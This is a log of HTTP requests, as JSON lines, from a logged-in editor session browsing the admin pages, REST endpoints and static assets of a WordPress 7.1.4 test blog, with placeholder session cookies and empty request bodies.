{"method": "GET", "target": "/wp-admin/users.php?s=editor&action=-1&new_role&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203192"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203194"], "body": ""}
{"method": "GET", "target": "/wp-admin/import.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203195"], "body": ""}
{"method": "GET", "target": "/wp-admin/export.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203196"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "X-WP-Nonce: b40ef802e6", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197; wp-settings-1=", "Connection: close"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203197"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/dotorg-communication?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-health.php?tab=debug", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/directory-sizes", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: b40ef802e6", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Referer: http://blog.example/wp-admin/site-health.php?tab=debug", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/export-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203198"], "body": ""}
{"method": "GET", "target": "/wp-admin/erase-personal-data.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203200"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203201"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-writing.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-reading.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203203"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-discussion.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203204"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-media.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203205"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203208.0107820034027099609375", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203206"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203207"], "body": ""}
{"method": "GET", "target": "/wp-admin/about.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203209"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-release-badge.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/about.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-default.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/credits.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-credits.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/freedoms.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-1.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-2.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=9&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
